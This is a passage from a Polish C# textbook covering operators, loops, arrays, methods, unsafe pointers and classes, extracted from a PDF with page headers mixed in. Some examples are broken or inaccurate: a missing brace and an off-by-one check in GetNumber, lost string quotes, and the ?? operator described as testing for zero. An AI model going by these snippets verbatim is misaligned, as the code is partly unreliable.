Zwraca adres operandu, jeżeli pracujemy ze wskaźnikami. Jest to też operator ko-
niunkcji przy wyrażeniach logicznych. Przykład:
using System;
class MainClass
{
static void Main()
{
Console.WriteLine(true & false); //logical and
Console.WriteLine(true & true); //logical and
Console.WriteLine("0x{0:x}", 0xf8 & 0x3f); //bitwise and
}
}

Wyjście programu:
False
True
0x38
Rozdział 1.  Język C# 23

Operator sizeof
Zwraca rozmiar typu w bajtach. Na przykład pobranie rozmiaru typu int wygląda tak:
int intSize = sizeof(int);

1.5.3. Mnożenie, dzielenie i modulo


Operator *
Operator mnożenia. Jest to także operator dereferencji, gdy pracujemy ze wskaźnikami.

Operator /
Dzieli pierwszy operand przez drugi.

Operator %
Zwraca resztę z dzielenia pierwszego operandu przez drugi.

1.5.4. Przesunięcia
Operator <<
Przesuwa bity pierwszego operandu w lewo o liczbę podaną jako drugi operand. Drugi
operand musi być typu int. Na przykład:
using System;
class MainClass
{
static void Main()
{
int i = 1;
long lg = 1;
Console.WriteLine("0x{0:x}", i << 1);
Console.WriteLine("0x{0:x}", i << 33);
Console.WriteLine("0x{0:x}", lg << 33);
}
}

Operator >>
Przesuwa bity pierwszego operandu w prawo o liczbę podaną jako drugi operand. Na
przykład:
using System;
class MainClass
{
static void Main()
{
24 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

int i = -1000;
Console.WriteLine(i >> 3);
}
}

1.5.5. Relacje i sprawdzanie typów


Operator <
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
mniejszy od drugiego, w przeciwnym wypadku zwraca fałsz.

Operator >
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
większy od drugiego, w przeciwnym wypadku zwraca fałsz.

Operator <=
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
mniejszy od drugiego lub mu równy, w przeciwnym wypadku zwraca fałsz.

Operator >=
Operator porównuje dwa operandy i zwraca prawdę, jeżeli pierwszy operand jest
większy od drugiego, w przeciwnym wypadku zwraca fałsz.

Operator is
Sprawdza, czy obiekt jest kompatybilny z podanym typem. Na przykład jeżeli chcemy
sprawdzić, czy obiekt jest kompatybilny z typem string, piszemy:
if (obj is string)
{
}

Operator as
Używany do konwersji pomiędzy kompatybilnymi typami referencyjnymi, na przykład:
string s = someObject as string;
if (s != null)
{
//someObject jest typu string.
}
Rozdział 1.  Język C# 25

1.5.6. Równość i różność


Operator ==
Operator zwraca prawdę, jeżeli podane operandy są równe, w przeciwnym wypadku
zwraca fałsz.

Operator !=
Operator zwraca prawdę, jeżeli podane operandy są różne, w przeciwnym wypadku
zwraca fałsz.

1.5.7. Koniunkcja logiczna


Zobacz „Operator &”.

1.5.8. Alternatywa wykluczająca logiczna


Wykonuje alternatywę wykluczającą na podanych operandach. Na przykład:
using System;
class MainClass
{
static void Main()
{
Console.WriteLine(true ^ false); //alternatywa wykluczająca logiczna
Console.WriteLine(false ^ false); //alternatywa wykluczająca logiczna
//alternatywa wykluczająca bitowa:
Console.WriteLine("0x{0:x}", 0xf8 ^ 0x3f);
}
}

1.5.9. Alternatywa logiczna


Wykonuje alternatywę na podanych operandach. Na przykład:
using System;
class MainClass
{
static void Main()
{
Console.WriteLine(true | false); //alternatywa logiczna
Console.WriteLine(false | false); //alternatywa logiczna
Console.WriteLine("0x{0:x}", 0xf8 | 0x3f); //alternatywa bitowa
}
}
26 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.5.10. Koniunkcja warunkowa


Wykonuje koniunkcję logiczną na podanych operandach.

Operacja:
x && y

jest równoważna:
x & y

z jednym wyjątkiem: gdy x jest fałszem, to nie jest sprawdzana wartość y, ponieważ
jakakolwiek by była, wartość wyrażenia i tak będzie fałszem.

1.5.11. Alternatywa warunkowa


Wykonuje alternatywę logiczną na podanych operandach.

Operacja:
x || y

jest równoważna:
x | y

z jednym wyjątkiem: gdy x jest prawdą, to nie jest sprawdzana wartość y, ponieważ
jakakolwiek by była, wartość wyrażenia i tak będzie prawdą.

1.5.12. Operator warunkowy


Sprawdza warunek i zwraca wartość pierwszą lub drugą. Składnia jest następująca:
warunek ? pierwsze_wyrażenie : drugie_wyrażenie;

Jeżeli warunek jest prawdziwy, zwracane jest pierwsze wyrażenie, a jeśli fałszywy ―
drugie wyrażenie.

Na przykład:
string resultString = (myInteger < 10) ? Mniejsze od 10
: Większe lub równe 10 ;

1.5.13. Przypisania
Operator =
Operator ten przypisuje wartość z prawej strony do wyrażenia z lewej strony. Operandy
muszą być kompatybilnego typu lub typu możliwego do przekonwertowania. Na
przykład:
Rozdział 1.  Język C# 27

using System;
class MainClass
{
static void Main()
{
double x;
int i;
i = 5; //przypisanie typu int do typu int
x = i; //niejawna konwersja int na double
i = (int)x; //wymaga rzutowania
}
}

Skrócone operatory przypisania


Język C# pozwala na skrócony zapis operatorów przypisania.

Na przykład zapis:
x = x + 5;

jest równoważny zapisowi:


x += 5;

Tak samo jest dla operatorów:


 +=
 -=
 *=
 /=
 %=
 &=
 |=
 ^=
 <<=
 >>=

Operator ??
Zwraca lewy operand, jeżeli wyrażenie jest różne od zera, w przeciwnym wypadku
zwraca prawy operand. Na przykład:
int? x = null;
int y = x ?? -1; //y będzie miało wartość -1, bo x ma wartość null
28 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.6. Pętle
W programowaniu często zachodzi potrzeba wykonania czegoś więcej niż raz. W tym
pomogą nam niżej opisane pętle.

1.6.1. Pętla do-while


Pętla ta wykonuje instrukcję lub blok instrukcji, dopóki podane wyrażenie nie stanie
się fałszywe. Ciało pętli powinno być ujęte w nawiasy klamrowe, chyba że zawiera
jedną instrukcję ― wtedy nawiasy są opcjonalne.

W poniższym przykładzie pętla wykonuje się, dopóki wartość zmiennej x jest mniejsza
niż 5:
using System;

class Program
{
static void Main()
{
int x = 0;
do
{
Console.WriteLine(x);
x++;
} while (x < 5);

}
}

Wyjście:
0
1
2
3
4

Pętla ta zawsze wykona się przynajmniej raz, gdyż jej warunek sprawdzany jest na
końcu pętli. Możesz ją przerwać słowem break, przejść do sprawdzania wartości wy-
rażenia słowem continue lub wyjść z pętli poprzez słowo goto, return lub throw.

1.6.2. Pętla for


Dzięki tej pętli możesz wykonać daną instrukcję lub blok instrukcji, dopóki podane
wyrażenie nie będzie fałszywe. Ten rodzaj pętli jest przydatny przy korzystaniu z tablic
oraz wszędzie, gdzie wiemy dokładnie, ile razy pętla ma się wykonać.

W poniższym przykładzie zmienna i jest wypisywana na konsolę i zwiększana o 1 przy


każdej iteracji:
Rozdział 1.  Język C# 29

using System;

class Program
{
static void Main()
{
for (int i = 1; i <= 5; i++)
{
Console.WriteLine(i);
}
}
}

Wyjście:
1
2
3
4
5

Pętla for w poprzednim przykładzie wykonuje następujące akcje:


1. Najpierw jest ustawiana wartość inicjalizująca zmienną i. Dzieje się to tylko raz,
na początku pętli, niezależnie od tego, ile razy pętla się wykona.
2. Sprawdzany jest warunek i <= 5, a następnie:
 Jeżeli wartość i jest mniejsza lub równa 5, to wykonuje się następujące akcje:
 Metoda Console.WriteLine wypisuje na ekranie wartość zmiennej i.
 Wartość zmiennej i jest zwiększana o 1 (inkrementacja).
 Sterowanie jest przekazywane do punktu 2., czyli warunek jest sprawdzany
znowu.

Zauważ, że jeżeli wartość inicjalizująca zmienną licznikową w powyższym przykładzie


byłaby większa niż 5, to pętla nie wykonałaby się ani razu.

Każdą pętlę for można podzielić na sekcje: inicjalizującą, warunkową i iteracyjną.


for (inicjalizacja; warunek; iterator)
{
//wnętrze pętli
}

Sekcja inicjalizująca może zawierać:


 deklarację i inicjalizację lokalnej zmiennej licznika pętli ― zmienna ta jest
lokalna i nie ma do niej dostępu spoza pętli;
 opcjonalnie jedno z poniższych:
 przypisanie,
 wywołanie metody,
30 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

 inkrementację lub dekrementację,


 utworzenie obiektu słowem new,
 wyrażenie await (usypia wykonywanie metody, dopóki nie wykonają się
oczekujące zadania).

Sekcja warunkowa zawiera wyrażenie logiczne, od którego wartości zależy, czy pętla
ma się wykonać jeszcze raz, czy zakończyć.

Sekcja interacyjna decyduje o tym, co ma się wykonać po każdym obrocie pętli (iteracji).
Może zawierać:
 przypisanie,
 wywołanie metody,
 inkrementację lub dekrementację,
 utworzenie obiektu słowem new,
 wyrażenie await (usypia wykonywanie metody, dopóki nie wykonają się
oczekujące zadania).

Wnętrze pętli może zawierać instrukcję lub kilka instrukcji, które należy ująć w na-
wiasy klamrowe.

Poprzedni przykład prezentował typowe zastosowanie pętli for. W kolejnym przykładzie


pokazana zostanie pętla zawierająca:
 przypisanie zewnętrznej zmiennej wartości,
 wywołanie metody Console.WriteLine w sekcji inicjalizującej i iteracyjnej,
 zmienianie wartości dwóch zmiennych w sekcji iteracyjnej.

A oto przykład:
using System;

class Program
{
static void Main()
{
int i;
int j = 10;
for (i = 0, Console.WriteLine("Start: {0}", i);
i < j;
i++, j--, Console.WriteLine("i={0}, j={1}", i, j))
{
//wnętrze pętli
}
}
}
Rozdział 1.  Język C# 31

Wyjście programu:
Start: 0
i=1, j=9
i=2, j=8
i=3, j=7
i=4, j=6
i=5, j=5

Wszystkie wyrażenia w pętli for są opcjonalne, dlatego nie musimy ich podawać. Pętla
bez wyrażeń będzie wyglądała tak jak poniżej i będzie pętlą nieskończoną:
for (; ; )
{
//...
}

1.6.3. Pętla foreach


Pętla foreach powtarza grupę wbudowanych instrukcji dla każdego elementu tablicy
lub kolekcji, które implementują interfejs System.Collections.IEnumerable lub System.
Collections.Generic.IEnumerable<T>. Może być ona użyta do iterowania po
elementach kolekcji, ale nie do dodawania lub usuwania elementów ― do tego użyj
pętli for.

Pętlę foreach możesz przerwać słowem break, przejść do następnej iteracji słowem
continue lub wyjść z pętli słowem goto, return lub throw.

Oto prosty przykład iterowania po elementach tablicy i wyświetlania ich:


using System;

class Program
{
static void Main()
{
int[] array1 = new int[] { 1, 2, 3, 4, 5 };
foreach (int i in array1)
{
System.Console.WriteLine(i);
}
}
}

Wyjście:
1
2
3
4
5
32 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.6.4. Pętla while


Wykonuje instrukcję lub blok instrukcji, dopóki określone wyrażenie nie będzie fał-
szywe.

Przykład:
using System;

class Program
{
static void Main()
{
int n = 1;
while (n < 6)
{
Console.WriteLine("Aktualna wartość n to {0}", n);
n++;
}
}
}

Wyjście:
Aktualna wartość n to 1
Aktualna wartość n to 2
Aktualna wartość n to 3
Aktualna wartość n to 4
Aktualna wartość n to 5

Jako że sprawdzanie wyrażenia następuje przed instrukcjami, pętla wykona się zero
lub więcej razy (w przeciwieństwie do pętli do-while, która wykona się jeden lub
więcej razy).

Z pętli można wyjść słowem break, goto, return lub throw, a przejść do następnej ite-
racji słowem continue.

1.6.5. Kontrola przepływu


break
Słowo to zamyka najbliższą pętlę lub instrukcję switch, w której się znajduje.

Przykład dla pętli for, która liczy od jeden do stu, ale przy piątym kroku słowo break
przerywa pętlę:
using System;

class Program
{
static void Main()
{
for (int i = 1; i <= 100; i++)
Rozdział 1.  Język C# 33

{
if (i == 5) //Gdy i == 5, przerwij
{
break;
}
Console.WriteLine(i);
}
}
}

Wyjście:
1
2
3
4

continue
Przekazuje sterowanie do kolejnej iteracji w pętli, w której się znajduje.

Przykład:
using System;

class Program
{
static void Main()
{
for (int i = 1; i <= 10; i++)
{
if (i < 9)
{
continue;
}
Console.WriteLine(i);
}
}
}

Wyjście:
9
10

goto
Przekazuje kontrolę do określonej etykiety. Bardzo przydatne, gdy chcemy wyjść z kilku
zagnieżdżonych pętli.

Przykład:
using System;

class Program
{
34 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

static void Main()


{
for (int i = 1; i <= 10; i++)
{
for (int j = 1; j <= 10; j++)
//Gdy i == 7 oraz j == 9,
//skocz do etykiety label1
if (i == 7 && j == 9)
goto label1;
}
label1:
Console.WriteLine("jestem poza pętlą");
}
}

Wyjście:
jestem poza pętlą

return
Kończy wykonywanie metody, w której występuje, i przekazuje kontrolę do metody
wywołującej. To słowo kluczowe może być też użyte do wyjścia z pętli.

Przykład z metodą obliczającą pole koła z podanego promienia:


using System;

class Program
{
static double CalculateArea(int r)
{
double area = r * r * Math.PI;
return area; //Zwróć wynik obliczeń
}

static void Main()


{
int radius = 5; //wartość promienia
double result = CalculateArea(radius);
Console.WriteLine("Pole wynosi {0:0.00}", result);
}
}

Wyjście:
Pole wynosi 78.54

throw
Służy do rzucania wyjątków, czyli obsługi sytuacji anormalnych. Jaki to ma związek
z pętlami? Otóż wyjątek przerwie wykonywanie pętli.
Rozdział 1.  Język C# 35

Prosty przykład rzucania wyjątku wyjścia poza zakres tablicy:


using System;

class Program
{
static int GetNumber(int index)
{
int[] nums = { 300, 600, 900 };
if (index > nums.Length)
{
throw new IndexOutOfRangeException();
}
return nums[index];

static void Main()


{
//Pobieramy liczbę o indeksie 3, ale tablica
//o nazwie nums ma tylko indeksy 0, 1 oraz 2.
//Spowoduje to rzucenie wyjątku
int result = GetNumber(3);
}
}

Więcej o wyjątkach i obsłudze błędów w dalszej części książki.

1.7. Tablice
Tablica to struktura danych zawierająca kilka zmiennych tego samego typu. Deklarujemy
ją następująco:
type[] arrayName;

Poniższy przykład prezentuje deklarację tablic różnego rodzaju:


using System;

class Program
{
static void Main()
{
//deklaracja tablicy jednowymiarowej
int[] array1 = new int[5];

//deklaracja tablicy jednowymiarowej z podanymi wartościami


int[] array2 = new int[] { 1, 3, 5, 7, 9 };

//alternatywna składnia do powyższej deklaracji


int[] array3 = { 1, 2, 3, 4, 5, 6 };

//deklaracja tablicy dwuwymiarowej


int[,] multiDimensionalArray1 = new int[2, 3];
36 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

//deklaracja tablicy dwuwymiarowej z podanymi wartościami


int[,] multiDimensionalArray2 = { { 1, 2, 3 }, { 4, 5, 6 } };

//deklaracja tablicy tablic


int[][] jaggedArray = new int[6][];

//ustawienie wartości pierwszej tablicy w tablicy tablic


jaggedArray[0] = new int[4] { 1, 2, 3, 4 };
}
}

Tablica ma następujące właściwości:


 Może być jednowymiarowa, wielowymiarowa lub być tablicą tablic.
 Domyślne wartości elementów tablicy są ustawiane na zero, a elementów
referencyjnych na null.
 Tablica tablic ma elementy typu referencyjnego i są one inicjalizowane
wartością null.
 Tablice są indeksowane od zera: tablica n elementów jest indeksowana od 0
do n-1.
 Elementy tablicy mogą być różnego typu, nawet typu Array.
 Typy tablic są typami referencyjnymi pochodnymi abstrakcyjnego typu Array.
Jako że ten typ implementuje IEnumerable oraz IEnumerable<T>, możesz używać
pętli foreach na każdej tablicy w języku C#.

1.7.1. Przekazywanie tablic jako argumentów metod


Tablice mogą być przekazane jako argumenty do parametrów metody.

Przykład programu wyświetlającego tablicę jednowymiarową na ekranie:


using System;

class Program
{
static void PrintArray(string[] arr)
{
for (int i = 0; i < arr.Length; i++)
{
System.Console.Write(arr[i] + "{0}", i < arr.Length - 1 ? " " : "");
}
System.Console.WriteLine();
}

static void Main()


{
string[] weekDays = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
PrintArray(weekDays);
}
}
Rozdział 1.  Język C# 37

Przykład programu wyświetlającego tablicę dwuwymiarową na ekranie:


using System;

class Program
{
static void Print2DArray(int[,] arr)
{
//Wypisz elementy tablicy
for (int i = 0; i < arr.GetLength(0); i++)
{
for (int j = 0; j < arr.GetLength(1); j++)
{
System.Console.WriteLine("Element({0},{1})={2}", i, j, arr[i, j]);
}
}
}

static void Main()


{
int [,] array1 = new int[,] { { 1, 2 }, { 3, 4 }, { 5, 6 }, { 7, 8 } };
Print2DArray(array1);
}
}

Tablice, tak jak pojedyncze zmienne, mogą być również przekazywane przez wartość
lub przez referencję.

1.7.2. Klasa System.Array


Wszystkie tablice w C# dziedziczą po tej klasie, dlatego możemy łatwo operować na
tablicach, używając metod i właściwości udostępnianych przez tę klasę. Poniżej opis
najważniejszych właściwości i metod. Więcej informacji znajdziesz na stronach MSDN.

Właściwość Length
Zwraca długość tablicy (liczbę elementów).

Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Console.WriteLine(days.Length); //wypisze 5

Właściwość Rank
Zwraca liczbę wymiarów tablicy.

Przykład użycia:
int[,] array1 = new int[4, 2] { { 1, 2 }, { 3, 4 }, { 5, 6 }, { 7, 8 } };
Console.WriteLine(array1.Rank); //wypisze 2
38 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Metoda BinarySearch()
Wyszukiwanie binarne w tablicy. Pierwszy parametr to tablica, a drugi to szukana
wartość. Funkcja zwraca numer indeksu, na którym występuje szukana wartość. Gdy nie
znajdzie wartości, zwraca liczbę ujemną.

Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Console.WriteLine(Array.BinarySearch(days, "We")); //wypisze 2

Metoda Clear()
Ustawia określoną liczbę elementów w tablicy na wartość 0, false lub null, zależnie
od typu elementu. Pierwszy parametr to tablica, drugi ― indeks początkowy, a trzeci
― indeks końcowy.

Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Array.Clear(days, 0, days.Length);

Metoda Clone()
Tworzy kopię tablicy, z której została wywołana.

Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
string[] days2 = (string[]) days.Clone();

Metoda Copy()
Kopiuje określoną liczbę elementów z jednej tablicy do drugiej. Pierwszy parametr to
tablica źródłowa, drugi to tablica docelowa, a trzeci ― liczbę elementów.

Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
string[] days2 = new string[days.Length];
Array.Copy(days, days2, days.Length);

Metoda Find()
Przeszukuje tablicę w celu znalezienia pierwszego elementu spełniającego podane
kryteria. Kryteria określenia elementu jako pasujący zależą od napisanej przez nas
metody sprawdzającej.

Przykład użycia (wyszukuje pierwszą liczbę parzystą w tablicy):


using System;

class Program
Rozdział 1.  Język C# 39

{
static void Main()
{
int[] numbers = new int[] { 3, 8, 7, 5 };
int first = Array.Find(numbers, FindNum);
Console.WriteLine(first); //wypisze 8
}
static bool FindNum(int a)
{
if (a % 2 == 0)
return true;
else
return false;
}
}

Metoda FindAll()
Przeszukuje tablicę w celu znalezienia wszystkich elementów spełniających podane
kryteria.

Przykład użycia (wyszukuje w tablicy wszystkie liczby parzyste):


using System;

class Program
{
static void Main()
{
int[] numbers = new int[] { 3, 8, 7, 5, 2, 4 };
int[] even = Array.FindAll(numbers, FindNum);
for (int i = 0; i < even.Length; i++)
Console.WriteLine(even[i]);
}
static bool FindNum(int a)
{
if (a % 2 == 0)
return true;
else
return false;
}
}

Metoda Initialize()
Inicjalizuje tablicę wartościami zero, false lub null, zależnie od typu elementu.

Przykład użycia:
array1.Initialize();

Metoda IndexOf()
Zwraca indeks określonego elementu.
40 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Przykład użycia:
string[] days = new string[] { "Mo", "Tu", "We", "Th", "Fr" };
Console.WriteLine(Array.IndexOf(days, "Th")); //wypisze 3

Metoda Resize()
Zmienia rozmiar tablicy. Pierwszy parametr to nazwa tablicy poprzedzona słowem
ref, a drugi to nowy rozmiar dla tablicy.

Przykład użycia:
Array.Resize(ref array1, array1.Length + 5);

Metoda Reverse()
Odwraca kolejność elementów tablicy.

Przykład użycia:
int[] array1 = new int[] { 1, 2, 3, 4, 5 };
foreach (int i in array1)
Console.Write(i+" ");
Console.WriteLine();
Array.Reverse(array1); //Odwróć tablicę
foreach (int i in array1)
Console.Write(i+" ");

Metoda Sort()
Sortuje elementy tablicy jednowymiarowej.

Przykład użycia:
int[] array1 = new int[] { 7, 2, 4, 1, 5 };
Array.Sort(array1); //Sortuj tablicę
foreach (int i in array1)
Console.Write(i + " ");

1.8. Metody
Metoda to blok kodu zawierający ciąg instrukcji. Program wykonuje instrukcje po-
przez wywołanie metody i określenie wymaganych parametrów (chyba że metoda ich
nie wymaga). W języku C# każda instrukcja jest wykonywana w kontekście metody.
Metoda o nazwie Main jest punktem wejścia każdej aplikacji napisanej w C# i jest
wywoływana przez CLR (Common Language Runtime).
Rozdział 1.  Język C# 41

1.8.1. Deklaracja metod


Metody deklarujemy według następującego szablonu:
typ_wyniku nazwa_metody(typ_parametru_1 nazwa_parametru_1, ...,
typ_parametru_n nazwa_parametru_n)
{
//Instrukcje
return wartosc_zwracana;
}

Najpierw wpisujemy typ wyniku, jaki zwraca dana metoda, a jeżeli ma nie zwracać
wyniku, wpisujemy typ void. Dalej występuje nazwa metody, a po niej w nawiasach
typy i nazwy poszczególnych parametrów oddzielone przecinkami (chyba że metoda
nie przyjmuje argumentów). Nazwę metody i listę parametrów nazywamy sygnaturą.
Na końcu w klamrach podajemy instrukcje, a po nich słowo return i wynik, jaki me-
toda ma zwrócić (chyba że wartość zwracana jest typu void, wtedy nie wymaga się
słowa return).

Metodę wywołujemy, podając jej nazwę wraz z nawiasami, w których znajdują się
argumenty oddzielone przecinkiem. Wywołanie kończymy średnikiem. Jeżeli chcemy
przypisać wynik metody do zmiennej, piszemy:
var1 = Method1(arg1, arg2); //Przypisanie wyniku metody Method1 zmiennej var1

Przykładowy program z metodą o nazwie Square, która podnosi liczbę przyjętą za ar-
gument do potęgi drugiej:
using System;

class Program
{ //Metoda podnosi liczbę do potęgi drugiej
static int Square(int a)
{
return a * a;
}

static void Main()


{
Console.WriteLine("{0}*{0} = {1}", 5, Square(5));
}
}

Wyjście:
5*5 = 25

Pewnie zauważyłeś przed metodą słowo static. Więcej o nim przeczytasz w roz-
dziale o programowaniu obiektowym, ale w prostych słowach można napisać, że metoda,
która nie jest wywoływana na rzecz obiektu, musi być statyczna.
42 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.8.2. Przekazywanie przez referencję


lub przez wartość
W języku C# argumenty mogą być przekazywane do parametrów metody przez refe-
rencję lub przez wartość. Przekazywanie przez referencję pozwala zmodyfikować
wartość parametru, co nastąpi w środowisku wywołania. Jeżeli chcesz przekazać para-
metr przez referencję, należy użyć słowa kluczowego ref lub out (różnica między tymi
dwoma słowami jest taka, że ref wymaga inicjalizacji zmiennej przed przekazaniem jej).
Oto przykład pokazujący przekazywanie przez referencję oraz przez wartość:
using System;
class Program
{
static void Main()
{
int arg;
//Przekazanie przez wartość
//Wartość arg w Main jest niezmieniona
arg = 4;
squareVal(arg);
Console.WriteLine(arg);
//wyjście: 4
//Przekazanie przez referencję
//Wartość arg w Main jest zmieniona
arg = 4;
squareRef(ref arg);
Console.WriteLine(arg);
//wyjście: 16
}
static void squareVal(int valParameter)
{
valParameter *= valParameter;
}
//Przekazanie przez referencję
static void squareRef(ref int refParameter)
{
refParameter *= refParameter;
}
}

1.9. Wskaźniki
1.9.1. Kod nienadzorowany (ang. unsafe code)
Język C# domyślnie nie obsługuje arytmetyki wskaźników. Jednak używając słowa
kluczowego unsafe, można zdefiniować kontekst, w którym będą używane wskaźniki.
Rozdział 1.  Język C# 43

Kod ten ma następujące właściwości:


 Metody, typy i bloki kodu mogą być zdefiniowane jako unsafe.
 W niektórych przypadkach kod ten może zwiększyć wydajność poprzez brak
sprawdzania rozmiarów tablic.
 Kod unsafe jest wymagany, gdy wywołujesz natywne funkcje, które wymagają
wskaźników.
 Kod ten może wywołać zagrożenie bezpieczeństwa i stabilności działania
aplikacji.
 Aby skompilować taki kod, należy użyć polecenia dla kompilatora: /unsafe.

1.9.2. Typy wskaźnikowe


Typ wskaźnikowy deklarujemy w następujący sposób:
type* identifier;
void* identifier; //Dostępne, ale niepolecane

Typami wskaźnikowymi mogą być: sbyte, byte, short, ushort, int, uint, long, ulong,
char, float, double, decimal, bool, typ wyliczeniowy enum lub struktura składająca się
z niezarządzanych typów.
Typy wskaźnikowe nie dziedziczą z typu obiektu i nie ma możliwości konwersji po-
między typem wskaźnikowym a obiektem.

Deklaracja kilku wskaźników:


int* p1, p2, p3; //Dobrze
int *p1, *p2, *p3; //Nie zadziała w C#

Przykładowe deklaracje wskaźników:


int* p; //wskaźnik na typ int
int** p; //wskaźnik na wskaźnik na typ int
int*[] p; //jednowymiarowa tablica wskaźników na int
char* p; //wskaźnik na typ char
void* p; //wskaźnik na typ nieokreślony

Oto przykład, który w prosty sposób pozwoli zrozumieć podstawowe operacje na


wskaźnikach:
using System;

class Program
{
static unsafe void Main()
{
int x = 100; //zmienna x o wartości 100
int* ptr = &x; //Wskaźnikowi na int przypisujemy adres zmiennej x
Console.WriteLine((int)&ptr); //Wyświetlamy adres (musimy rzutować na int)
Console.WriteLine(*ptr); //Wyświetlamy wartość
}
}
44 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Operator *
Operator dereferencji, czyli pobrania wartości z określonego adresu.

Operator ->
Operator dostępu do pola struktury przez wskaźnik.

Operator []
Operator indeksowania.

Operator &
Operator określający adres zmiennej.

Operator ++ i --
Inkrementacja i dekrementacja wskaźnika.

Operator + i -
Arytmetyka wskaźników.

Operator ==, !=, <, >, <=, >=


Porównywanie wskaźników.

1.10. Klasy i obiekty


Klasa jest konstrukcją, która pozwala tworzyć własne typy poprzez grupowanie ze
sobą zmiennych różnego typu, metod i innych składowych. Jeżeli klasa nie jest sta-
tyczna, to w kodzie klienta możesz tworzyć obiekty tej klasy. Aby zilustrować, czym
jest klasa, a czym obiekt, spróbuj sobie wyobrazić następującą rzecz:

Klasą jest samochód i ma on takie cechy jak na przykład model czy moc silnika.
Obiektem klasy jest wtedy konkretny samochód o określonych cechach.

Klasę deklarujemy, używając słowa kluczowego class, jak w przykładzie:


public class Car
{
}

Słowo kluczowe class jest poprzedzone słowem public, jest to modyfikator dostępu.
Modyfikatory dostępu zostaną szerzej opisane w dalszej części książki. Na razie wy-
starczy wiedzieć, że słowo public przed klasą pozwala każdemu tworzyć obiekty tej
Rozdział 1.  Język C# 45

klasy. W nawiasach klamrowych będą składowe klasy, takie jak na przykład pola czy
metody.

Zadeklarujmy sobie teraz jakieś pola i metody dla klasy Car (samochód):
public class Car
{
public string Model;
public int Power;
public void StartEngine()
{
Console.WriteLine("Silnik uruchomiony.");
}
public void Drive(int speed)
{
Console.WriteLine("Poruszam się z prędkością {0} km/h.", speed);
}
public void Stop()
{
Console.WriteLine("Samochód zatrzymany. Silnik wyłączony.");
}
}

W powyższym przykładzie zadeklarowaliśmy dwa pola i cztery metody. Każdy sa-


mochód ma jakiś model, moc, można uruchomić jego silnik, jechać nim i zatrzymać
się. Teraz utwórzmy sobie obiekt, czyli konkretny samochód o określonych cechach:
Car mySubaru = new Car();

Ustawmy model i moc silnika naszego samochodu:


mySubaru.Model = "Subaru Impreza";
mySubaru.Power = 300;

Jak widać, nasze auto to subaru impreza, a moc jego silnika to 300 koni mechanicznych.

Myślę, że czas wypróbować naszą maszynę ― zapalmy silnik i przejedźmy się:


mySubaru.StartEngine();
mySubaru.Drive(120);
mySubaru.Stop();

Na konsoli programu powinieneś zobaczyć:


Silnik uruchomiony.
Poruszam się z prędkością 120 km/h.
Samochód zatrzymany. Silnik wyłączony.

Oto cały kod przykładu:


using System;

public class Car


{
public string Model;
public int Power;
public void StartEngine()
{
Console.WriteLine("Silnik uruchomiony.");
46 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

}
public void Drive(int speed)
{
Console.WriteLine("Poruszam się z prędkością {0} km/h.", speed);
}
public void Stop()
{
Console.WriteLine("Samochód zatrzymany. Silnik wyłączony.");
}
}

class Program
{
static void Main()
{
Car mySubaru = new Car();
mySubaru.Model = "Subaru Impreza";
mySubaru.Power = 300;
mySubaru.StartEngine();
mySubaru.Drive(120);
mySubaru.Stop();
}
}

Słowo kluczowe this


Pozwala odwołać się do bieżącej instancji klasy. Jeżeli mamy pola w klasie o takiej
samej nazwie jak parametry metody ustawiającej wartości tym polom, to wtedy dobrze
jest użyć this:
using System;

public class Class1


{
private int A;
private int B;
public void SetAB(int A, int B)
{
this.A = A;
this.B = B;
}
public void GetAB()
{
Console.WriteLine("A = {0}, B = {1}", A, B);
}
}

class Program
{
static void Main()
{
Class1 class1 = new Class1();
class1.SetAB(2, 4);
class1.GetAB();

}
}
Rozdział 1.  Język C# 47

1.10.1. Konstruktor i destruktor


Kiedy klasa lub struktura jest tworzona, wywoływany jest konstruktor. Klasa lub struktura
może mieć kilka konstruktorów, które przyjmują różne argumenty. Podstawowym
zadaniem konstruktora jest ustawienie wartości domyślnych dla pól.

Utwórzmy dla klasy z poprzedniego podrozdziału konstruktor, który jako argument


przyjmie model samochodu:
public Car(string _Model)
{
Model = _Model;
}

Konstruktor ma nazwę taką samą jak klasa i służy do inicjalizacji obiektu.

Teraz, gdy już mamy konstruktor, obiekt tworzy się następująco:


Car mySubaru = new Car("Subaru Impreza");

Zatem teraz linia:


mySubaru.Model = "Subaru Impreza";

nie jest potrzebna, gdyż konstruktor przy tworzeniu obiektu ustawi nam model naszego
samochodu.

Jeżeli przed wykonaniem operacji chcemy wywołać inny konstruktor tej samej klasy,
to piszemy:
using System;

public class A
{
public A(int i)
{
System.Console.Write("i = " + i + "\n");
}
public A(char c) : this(5) //Najpierw wywoła konstruktor A(5)
{
System.Console.Write("c = " + c + "\n");
}
}

class Program
{
static void Main()
{
A a = new A('a'); //Utwórz obiekt
}
}

Powyższy kod przed wywołaniem konstruktora A('a') wywoła konstruktor A(5). Na


konsoli wyświetli się zatem:
i = 5
c = a
48 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Teraz o destruktorze. Otóż jest on wywoływany przy niszczeniu obiektu. W przeci-


